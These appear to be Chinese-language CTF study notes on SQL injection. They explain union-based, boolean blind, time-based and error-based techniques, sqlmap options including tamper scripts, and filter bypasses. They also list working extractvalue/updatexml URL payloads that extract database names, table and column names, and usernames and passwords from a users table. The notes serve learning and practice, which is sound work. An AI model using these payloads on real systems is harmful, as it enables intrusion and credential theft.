IP
域名
两者之间通过DNS来进行转换
DNS说白了就是一个数据库,里面存储了ip和域名的映射关系
要进行sql注入,首先要找到数据的地址,也就是找到数据库、数据表、列的名字
常用函数:
查看:select database() 因为是一个函数,所以要加括号
post和get两张传参方式,在后台代码中会被如下操作去数据库中查找
post中为了实现查找 实现引号的闭合会先加一个引号,还要加一个分号,因为两个语句之间必须要用分号;隔开,但是在php语言中,不能同时实现两个语句
为了解决,我们要把两个语句合成一个语句,这里使用union,但是union也有限制
1)个数一样
那么到底怎么知道原来有几个字段呢?
在使用union之前,先使用order by来判断有几个字段,order by的原理是对字段进行排序,即order by 2,就是让第二个字段排在前面,假设只有两个字段,而你使用了order by 3,这就超出范围,会报错,所以可以用来判断原来有几个字段
判断出个数不一样的时候,需要用1,2......来占位
union select 1,1,database() #在已知有三个字段的时候
2)类型相似
单行的注释1、# 2、-- (有一个空格)3、--+ (在php语句中,加号最后也会转化为空格,所以三和二是等价的)
参考这位博主的做法
CTFHub技能书解题笔记-SQL注入-整数型注入_ctf整数型注入-优快云博客
对于get方式的
1、判断是否可以进行sql输入,加一个单引号就可以判断,因为单引号一定是成对出现的,而你多加的一个会让单引号不成对,而报错,一旦报错,就说明可以注入。
2、判断数据库的类型
group_concat() #作用是让原本三行的数据,整合为一行输出
变为
3、获取库名
4、获取表名
5、获取列名
6、获取数据
sqlmap注入工具
在sqlmap目录下输入cmd
sqlmap.py -hh #表示详细的使用说明
sqlmap.py -u #u表示url
sqlmap.py -m (跟一个文件地址) --batch #batch的作用是根据默认的选项进行下去,不用你来选择
#这里的level和risk的意思是,攻击等级,自己输入酌情调整,等级越高,可能越容易获取到你想要的信息,但是你的ip也更可能被封
在末尾加上--batch,可以省略一些选择项,可以直接加
布尔盲注
就是通过不断地枚举
原理类似于 对一个哑巴询问信息,他只会进行点头和摇头,你需要通过不断地给出尝试,来获得信息
只会告诉你对不对
加一个and
一些常用的语句 结合ctfhub技能树里的布尔盲注题目和这位博主的文章可以很好的对手工注入了解,而使用sqlmap时,结合上面的用法其中level 和risk都可以省略,-D(空格) 名字可以不用双引号
时间盲注:
原理介绍:依旧通过布尔盲注为基础,加入语句 and 1=1 (这是一条绝对正确的语句,反馈正确),再输入and 1=2(这是一条绝对错误的语句,反馈还是正确),这说明这不管对不对,都只会反馈对
于是我们可以类比为一个植物人,只有眼睛可以眨眼,不管你说的对不对,都只会做眨眼这个动作,所以我们可以在代码中加入sleep语句,也就是说,如果对的,那会延迟几秒中再出结果,我们可以通过是否有延迟来判断我们的信息是否
sleep的单位是秒
if语句的用法:if((1=1),1,0) #先对括号里面的条件语句进行判断,如果正确,执行括号后的第一个,如果错误执行括号后的第二个,和sleep搭配可以实现判断作用
sleep在浏览器中的效果是,如果有sleep,左上角的刷新圈圈会一直转,如果没有sleep,是不会转的
报错注入:
可以参考这位博主的文章,里面的两个函数是最为常用的https://blog.youkuaiyun.com/qq_62539372/article/details/125423579
补充一下:concat()用于连接多个字符的,而0x7e是十六进制中的波浪号~,作用是可以将多个划分为单个单个,比如,你在concat()中输入了user(),password(),出来时可能是userpassword,加了0x7e后会是~user~password,更直观的看出库名表名等是什么了,
原理介绍:因为正确的格式是输入字符string,我们可以通过输入1来使它报错,在报错后得到库名表名后,就和以上的sql注入一样了,可以手动注入,也可以利用sqlmap。
最常使用的基本语法:
extractvalue ()
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
获取当前位置所用数据库的位置:
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
获取表名:
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
获取users表的列名:
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
获取对应的列名的信息(username/password):
?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
updatexml()
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
查询当前数据库的用户信息以及数据库版本信息:
?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
获取当前数据库下数据表信息:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
获取users表名的列名信息:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
获取users数据表下username、password两列名的用户字段信息:
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
#这边再说明一下,information_schema看作是MySQL中存储元素的数据库
table_schema 是数据库的名称
table_name 是具体的表名。
table_type 表的类型。
limit的用法 limit 0,1 从第一个开始,读取一个,注意是从0开始的当做第一个
- m 开始值(从第m+1行开始)
- n 结束值(1.共展示n行数据;2.第m+n行结尾)
绕过防御:
大小写
双重
编码
sqlmap中也有文件脚本可以使用
具体为加上--tamper ""(填写文件名,可以同时使用多个,之间用,分割)